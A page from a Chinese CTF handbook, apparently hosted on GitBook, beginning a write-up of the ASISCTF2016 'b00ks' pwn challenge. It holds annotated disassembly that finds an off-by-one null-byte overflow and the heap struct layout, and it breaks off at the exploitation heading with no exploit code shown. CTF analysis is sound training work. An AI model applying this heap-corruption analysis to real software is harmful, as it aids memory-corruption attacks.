📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • Enter author name
  • Create
  • 漏洞利用
  • leak_heap
  • leak_libc
  • overwrite
  • pwn
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.28 pwn ASISCTF2016 b00ks

Previous6.1.27 pwn SECCONCTF2016 tinypadNext6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3

Last updated 3 years ago

Was this helpful?

题目复现

$ file b00ks
b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec -f b00ks
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No      0               2       b00ks
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.

64 位程序,开启了 FULL RELRO、NX 和 PIE。

在 Ubuntu 16.04 上玩一下:

$ ./b00ks
Welcome to ASISCTF book library
Enter author name: AAAA

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1

Enter book name size: 5
Enter book name (Max 32 chars): BBBBB

Enter book description size: 5
Enter book description: CCCCC

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 3
Enter the book id you want to edit: 1
Enter new book description: DDDDD

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 4
ID: 1
Name: BBBBB
Description: DDDDD
Author: AAAA

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 2
Enter the book id you want to delete: 1

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 5
Enter author name: EEEE

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 6
Thanks to use our library software

程序让我们先输入一个 auther name,然后进入菜单,可以新建、删除、修改和打印一个 book,还可以对 author name 进行修改。

题目解析

Enter author name

[0x000008e0]> pdf @ sub.Enter_author_name:_b6d
/ (fcn) sub.Enter_author_name:_b6d 80
|   sub.Enter_author_name:_b6d ();
|           ; CALL XREF from main (0x122f)
|           ; CALL XREF from main (+0xe0)
|           0x00000b6d      push rbp
|           0x00000b6e      mov rbp, rsp
|           0x00000b71      lea rdi, str.Enter_author_name:            ; 0x13fb ; "Enter author name: " ; const char *format
|           0x00000b78      mov eax, 0
|           0x00000b7d      call sym.imp.printf                        ; int printf(const char *format)
|           0x00000b82      lea rax, [0x00202018]                      ; "@  "
|           0x00000b89      mov rax, qword [rax]
|           0x00000b8c      mov esi, 0x20                              ; "@" ; void *buf
|           0x00000b91      mov rdi, rax                               ; int fildes
|           0x00000b94      call sub.read_9f5                           ; 调用 read_9f5([0x00202018], 0x20) 读入 author name
|           0x00000b99      test eax, eax
|       ,=< 0x00000b9b      je 0xbb6
|       |   0x00000b9d      lea rdi, str.fail_to_read_author_name      ; 0x140f ; "fail to read author_name" ; const char *format
|       |   0x00000ba4      mov eax, 0
|       |   0x00000ba9      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x00000bae      nop
|       |   0x00000baf      mov eax, 1
|      ,==< 0x00000bb4      jmp 0xbbb
|      ||   ; CODE XREF from sub.Enter_author_name:_b6d (0xb9b)
|      |`-> 0x00000bb6      mov eax, 0
|      |    ; CODE XREF from sub.Enter_author_name:_b6d (0xbb4)
|      `--> 0x00000bbb      pop rbp
\           0x00000bbc      ret
[0x000008e0]> px 8 @ 0x00202018
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00202018  4020 2000 0000 0000                      @  .....

程序首先调用函数 read_9f5() 读入 author name 到 [0x00202018],即 0x00202040。

函数 read_9f5() 如下:

[0x000008e0]> pdf @ sub.read_9f5
/ (fcn) sub.read_9f5 130
|   sub.read_9f5 (int arg1, signed int arg2);
|           ; var signed int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_ch @ rbp-0xc
|           ; var void *buf @ rbp-0x8
|           ; CALL XREF from sub.Enter_author_name:_b6d (0xb94)
|           ; CALL XREF from sub.Enter_the_book_id_you_want_to_edit:_e17 (0xf2b)
|           ; CALL XREFS from sub.Enter_book_name_size:_f55 (0xff8, 0x10b2)
|           0x000009f5      push rbp
|           0x000009f6      mov rbp, rsp
|           0x000009f9      sub rsp, 0x20
|           0x000009fd      mov qword [local_18h], rdi                 ; arg1
|           0x00000a01      mov dword [local_1ch], esi                 ; arg2
|           0x00000a04      cmp dword [local_1ch], 0
|       ,=< 0x00000a08      jg 0xa11                                    ; arg2 大于 0 时继续
|       |   0x00000a0a      mov eax, 0
|      ,==< 0x00000a0f      jmp 0xa75                                   ; 否则退出
|      |`-> 0x00000a11      mov rax, qword [local_18h]                  ; rax = [arg1] 取第一个参数
|      |    0x00000a15      mov qword [buf], rax                        ; [buf] = rax = [arg1]
|      |    0x00000a19      mov dword [local_ch], 0                     ; 循环计数 i 初始为 0
|      |    ; CODE XREF from sub.read_9f5 (0xa67)
|      |.-> 0x00000a20      mov rax, qword [buf]                        ; rax = [buf]
|      |:   0x00000a24      mov edx, 1                                 ; size_t nbyte
|      |:   0x00000a29      mov rsi, rax                               ; void *buf
|      |:   0x00000a2c      mov edi, 0                                 ; int fildes
|      |:   0x00000a31      mov eax, 0
|      |:   0x00000a36      call sym.imp.read                           ; 调用 read(0, [buf], 1) 读入一个字节
|      |:   0x00000a3b      cmp eax, 1
|     ,===< 0x00000a3e      je 0xa47
|     ||:   0x00000a40      mov eax, 1
|    ,====< 0x00000a45      jmp 0xa75
|    |||:   ; CODE XREF from sub.read_9f5 (0xa3e)
|    |`---> 0x00000a47      mov rax, qword [buf]                        ; rax = [buf]
|    | |:   0x00000a4b      movzx eax, byte [rax]                       ; eax = [rax] 取出最后一个字节
|    | |:   0x00000a4e      cmp al, 0xa
|    |,===< 0x00000a50      jne 0xa54                                   ; 该字节不为换行符 '\n'
|   ,=====< 0x00000a52      jmp 0xa69
|   ||||:   ; CODE XREF from sub.read_9f5 (0xa50)
|   ||`---> 0x00000a54      add qword [buf], 1                          ; [buf] += 1
|   || |:   0x00000a59      mov eax, dword [local_ch]
|   || |:   0x00000a5c      cmp eax, dword [local_1ch]
|   ||,===< 0x00000a5f      jne 0xa63                                   ; 循环计数 i 与 arg2 不相等时
|  ,======< 0x00000a61      jmp 0xa69
|  |||||:   ; CODE XREF from sub.read_9f5 (0xa5f)
|  |||`---> 0x00000a63      add dword [local_ch], 1                     ; 循环计数 i 加 1
|  ||| |`=< 0x00000a67      jmp 0xa20                                   ; 继续循环
|  ||| |    ; CODE XREFS from sub.read_9f5 (0xa52, 0xa61)
|  ``-----> 0x00000a69      mov rax, qword [buf]                        ; rax = [buf]
|    | |    0x00000a6d      mov byte [rax], 0                           ; [rax] = 0 将最后一个字节设置为 '0x00'
|    | |    0x00000a70      mov eax, 0
|    | |    ; CODE XREFS from sub.read_9f5 (0xa0f, 0xa45)
|    `-`--> 0x00000a75      leave
\           0x00000a76      ret

该函数存在单字节溢出漏洞,例如在读入 author name 的时候,arg2 为 0x20,但却可以读入最多 0x21 个字节,读入完成后将最后一个字节设置为 “\x00”,即溢出了一个字节的 null byte。

Create

[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55
/ (fcn) sub.Enter_book_name_size:_f55 634
|   sub.Enter_book_name_size:_f55 ();
|           ; var size_t size @ rbp-0x20
|           ; var unsigned int local_1ch @ rbp-0x1c
|           ; var void *local_18h @ rbp-0x18
|           ; var void *fildes @ rbp-0x10
|           ; var void *ptr @ rbp-0x8
|           ; CALL XREF from main (+0xb0)
|           0x00000f55      push rbp
|           0x00000f56      mov rbp, rsp
|           0x00000f59      sub rsp, 0x20
|           0x00000f5d      mov dword [size], 0
|           0x00000f64      lea rdi, str.Enter_book_name_size:         ; 0x150f ; "\nEnter book name size: " ; const char *format
|           0x00000f6b      mov eax, 0
|           0x00000f70      call sym.imp.printf                        ; int printf(const char *format)
|           0x00000f75      lea rax, [size]
|           0x00000f79      mov rsi, rax
|           0x00000f7c      lea rdi, [0x000013f8]                      ; "%d" ; const char *format
|           0x00000f83      mov eax, 0
|           0x00000f88      call sym.imp.__isoc99_scanf                 ; 调用 scanf() 读入 name_size 到 [size]
|           0x00000f8d      mov eax, dword [size]
|           0x00000f90      test eax, eax
|       ,=< 0x00000f92      jns 0xfaa                                   ; [size] 大于等于 0
|       |   0x00000f94      lea rdi, str.Malformed_size                ; 0x1527 ; "Malformed size" ; const char *format
|       |   0x00000f9b      mov eax, 0
|       |   0x00000fa0      call sym.imp.printf                        ; int printf(const char *format)
|      ,==< 0x00000fa5      jmp 0x118f
|      ||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0xf92)
|      |`-> 0x00000faa      lea rdi, str.Enter_book_name__Max_32_chars_: ; 0x1538 ; "Enter book name (Max 32 chars): " ; const char *format
|      |    0x00000fb1      mov eax, 0
|      |    0x00000fb6      call sym.imp.printf                        ; int printf(const char *format)
|      |    0x00000fbb      mov eax, dword [size]
|      |    0x00000fbe      cdqe
|      |    0x00000fc0      mov rdi, rax                               ; size_t size
|      |    0x00000fc3      call sym.imp.malloc                         ; 调用 malloc([size]) 为 name 分配空间
|      |    0x00000fc8      mov qword [fildes], rax                     ; 空间地址保存到 [fildes]
|      |    0x00000fcc      cmp qword [fildes], 0
|      |,=< 0x00000fd1      jne 0xfe9
|      ||   0x00000fd3      lea rdi, str.unable_to_allocate_enough_space ; 0x1560 ; "unable to allocate enough space" ; const char *format
|      ||   0x00000fda      mov eax, 0
|      ||   0x00000fdf      call sym.imp.printf                        ; int printf(const char *format)
|     ,===< 0x00000fe4      jmp 0x118f
|     |||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0xfd1)
|     ||`-> 0x00000fe9      mov eax, dword [size]
|     ||    0x00000fec      lea edx, [rax - 1]
|     ||    0x00000fef      mov rax, qword [fildes]
|     ||    0x00000ff3      mov esi, edx                               ; void *buf
|     ||    0x00000ff5      mov rdi, rax                               ; int fildes
|     ||    0x00000ff8      call sub.read_9f5                           ; 调用 read_9f5([fildes], [size]-1) 读入 name
|     ||    0x00000ffd      test eax, eax
|     ||,=< 0x00000fff      je 0x1017
|     |||   0x00001001      lea rdi, str.fail_to_read_name             ; 0x1580 ; "fail to read name" ; const char *format
|     |||   0x00001008      mov eax, 0
|     |||   0x0000100d      call sym.imp.printf                        ; int printf(const char *format)
|    ,====< 0x00001012      jmp 0x118f
|    |||`-> 0x00001017      mov dword [size], 0                         ; 将 [size] 置 0
|    |||    0x0000101e      lea rdi, str.Enter_book_description_size:  ; 0x1598 ; "\nEnter book description size: " ; const char *format
|    |||    0x00001025      mov eax, 0
|    |||    0x0000102a      call sym.imp.printf                        ; int printf(const char *format)
|    |||    0x0000102f      lea rax, [size]
|    |||    0x00001033      mov rsi, rax
|    |||    0x00001036      lea rdi, [0x000013f8]                      ; "%d" ; const char *format
|    |||    0x0000103d      mov eax, 0
|    |||    0x00001042      call sym.imp.__isoc99_scanf                 ; 调用 scanf() 读入 description_size 到 [size]
|    |||    0x00001047      mov eax, dword [size]
|    |||    0x0000104a      test eax, eax
|    |||,=< 0x0000104c      jns 0x1064                                  ; [size] 大于等于 0
|    ||||   0x0000104e      lea rdi, str.Malformed_size                ; 0x1527 ; "Malformed size" ; const char *format
|    ||||   0x00001055      mov eax, 0
|    ||||   0x0000105a      call sym.imp.printf                        ; int printf(const char *format)
|   ,=====< 0x0000105f      jmp 0x118f
|   |||||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x104c)
|   ||||`-> 0x00001064      mov eax, dword [size]
|   ||||    0x00001067      cdqe
|   ||||    0x00001069      mov rdi, rax                               ; size_t size
|   ||||    0x0000106c      call sym.imp.malloc                         ; 调用 malloc([size]) 为 description 分配空间
|   ||||    0x00001071      mov qword [ptr], rax                        ; 空间地址保存到 [ptr]
|   ||||    0x00001075      cmp qword [ptr], 0
|   ||||,=< 0x0000107a      jne 0x1092
|   |||||   0x0000107c      lea rdi, str.Fail_to_allocate_memory       ; 0x15b7 ; "Fail to allocate memory" ; const char *format
|   |||||   0x00001083      mov eax, 0
|   |||||   0x00001088      call sym.imp.printf                        ; int printf(const char *format)
|  ,======< 0x0000108d      jmp 0x118f
|  ||||||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x107a)
|  |||||`-> 0x00001092      lea rdi, str.Enter_book_description:       ; 0x15cf ; "Enter book description: " ; const char *format
|  |||||    0x00001099      mov eax, 0
|  |||||    0x0000109e      call sym.imp.printf                        ; int printf(const char *format)
|  |||||    0x000010a3      mov eax, dword [size]
|  |||||    0x000010a6      lea edx, [rax - 1]
|  |||||    0x000010a9      mov rax, qword [ptr]
|  |||||    0x000010ad      mov esi, edx                               ; void *buf
|  |||||    0x000010af      mov rdi, rax                               ; int fildes
|  |||||    0x000010b2      call sub.read_9f5                           ; 调用 read_9f5([ptr], [size] -1) 读入 description
|  |||||    0x000010b7      test eax, eax
|  |||||,=< 0x000010b9      je 0x10d1
|  ||||||   0x000010bb      lea rdi, str.Unable_to_read_description    ; 0x15e8 ; "Unable to read description" ; const char *format
|  ||||||   0x000010c2      mov eax, 0
|  ||||||   0x000010c7      call sym.imp.printf                        ; int printf(const char *format)
| ,=======< 0x000010cc      jmp 0x118f
| |||||||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10b9)
| ||||||`-> 0x000010d1      mov eax, 0
| ||||||    0x000010d6      call fcn.00000b24                           ; 判断 book_num 是否达到上限 20
| ||||||    0x000010db      mov dword [local_1ch], eax                  ; 返回值 eax 为该 book 在 books 里的序号
| ||||||    0x000010de      cmp dword [local_1ch], 0xffffffffffffffff
| ||||||,=< 0x000010e2      jne 0x10fa
| |||||||   0x000010e4      lea rdi, str.Library_is_full               ; 0x1603 ; "Library is full" ; const char *format
| |||||||   0x000010eb      mov eax, 0
| |||||||   0x000010f0      call sym.imp.printf                        ; int printf(const char *format)
| ========< 0x000010f5      jmp 0x118f
| |||||||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10e2)
| ||||||`-> 0x000010fa      mov edi, 0x20                              ; "@" ; size_t size
| ||||||    0x000010ff      call sym.imp.malloc                         ; 调用 malloc(0x20) 为 book 结构体分配空间
| ||||||    0x00001104      mov qword [local_18h], rax                  ; 空间地址保存到 [local_18h]
| ||||||    0x00001108      cmp qword [local_18h], 0
| ||||||,=< 0x0000110d      jne 0x1122
| |||||||   0x0000110f      lea rdi, str.Unable_to_allocate_book_struct ; 0x1618 ; "Unable to allocate book struct" ; const char *format
| |||||||   0x00001116      mov eax, 0
| |||||||   0x0000111b      call sym.imp.printf                        ; int printf(const char *format)
| ========< 0x00001120      jmp 0x118f
| ||||||`-> 0x00001122      mov eax, dword [size]                       ; 取出 description_size
| ||||||    0x00001125      mov edx, eax
| ||||||    0x00001127      mov rax, qword [local_18h]                  ; 取出 book 结构体
| ||||||    0x0000112b      mov dword [rax + 0x18], edx                 ; book->description_size = [size]
| ||||||    0x0000112e      lea rax, [0x00202010]                       ; rax = 0x00202010
| ||||||    0x00001135      mov rax, qword [rax]                        ; rax = 0x00202060 取出 books 数组地址
| ||||||    0x00001138      mov edx, dword [local_1ch]
| ||||||    0x0000113b      movsxd rdx, edx
| ||||||    0x0000113e      shl rdx, 3
| ||||||    0x00001142      add rdx, rax                                ; rdx 为 books 数组中该 book 的地址
| ||||||    0x00001145      mov rax, qword [local_18h]
| ||||||    0x00001149      mov qword [rdx], rax                        ; books[rdx] = book 将 book 地址放入 books 数组
| ||||||    0x0000114c      mov rax, qword [local_18h]
| ||||||    0x00001150      mov rdx, qword [ptr]
| ||||||    0x00001154      mov qword [rax + 0x10], rdx                 ; book->description = [ptr]
| ||||||    0x00001158      mov rax, qword [local_18h]
| ||||||    0x0000115c      mov rdx, qword [fildes]
| ||||||    0x00001160      mov qword [rax + 8], rdx                    ; book->name = [fildes]
| ||||||    0x00001164      lea rax, [0x00202024]
| ||||||    0x0000116b      mov eax, dword [rax]                        ; 取出 book_num
| ||||||    0x0000116d      lea edx, [rax + 1]                          ; edx = book_num + 1
| ||||||    0x00001170      lea rax, [0x00202024]
| ||||||    0x00001177      mov dword [rax], edx                        ; 放回新的 book_num
| ||||||    0x00001179      lea rax, [0x00202024]
| ||||||    0x00001180      mov edx, dword [rax]
| ||||||    0x00001182      mov rax, qword [local_18h]
| ||||||    0x00001186      mov dword [rax], edx                        ; book->id = book_num
| ||||||    0x00001188      mov eax, 0
| ||||||,=< 0x0000118d      jmp 0x11cd
| |||||||   ; XREFS: CODE 0x00000fa5  CODE 0x00000fe4  CODE 0x00001012  CODE 0x0000105f  CODE 0x0000108d  CODE 0x000010cc  
| |||||||   ; XREFS: CODE 0x000010f5  CODE 0x00001120  
| ``````--> 0x0000118f      cmp qword [fildes], 0                       ; 释放掉一些指针
|      ,==< 0x00001194      je 0x11a2
|      ||   0x00001196      mov rax, qword [fildes]
|      ||   0x0000119a      mov rdi, rax                               ; void *ptr
|      ||   0x0000119d      call sym.imp.free                           ; free([fildes])
|      ||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x1194)
|      `--> 0x000011a2      cmp qword [ptr], 0
|      ,==< 0x000011a7      je 0x11b5
|      ||   0x000011a9      mov rax, qword [ptr]
|      ||   0x000011ad      mov rdi, rax                               ; void *ptr
|      ||   0x000011b0      call sym.imp.free                           ; free([ptr])
|      ||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11a7)
|      `--> 0x000011b5      cmp qword [local_18h], 0
|      ,==< 0x000011ba      je 0x11c8
|      ||   0x000011bc      mov rax, qword [local_18h]
|      ||   0x000011c0      mov rdi, rax                               ; void *ptr
|      ||   0x000011c3      call sym.imp.free                           ; free([local_18h])
|      ||   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11ba)
|      `--> 0x000011c8      mov eax, 1
|       |   ; CODE XREF from sub.Enter_book_name_size:_f55 (0x118d)
|       `-> 0x000011cd      leave
\           0x000011ce      ret
[0x000008e0]> px 8 @ 0x00202010
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00202010  6020 2000 0000 0000                      `  .....

Create 过程是首先在堆上为 name 分配空间,然后为 description 分配空间,最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的,book 结构体则固定为 0x20 字节。

通过分析可以得到下面的数据结构:

struct book {
    int id;
    char *name;
    char *description;
    char description_size;
} book;

struct book *books[20];

其中 books 数组的起始地址为 0x00202060。

漏洞利用

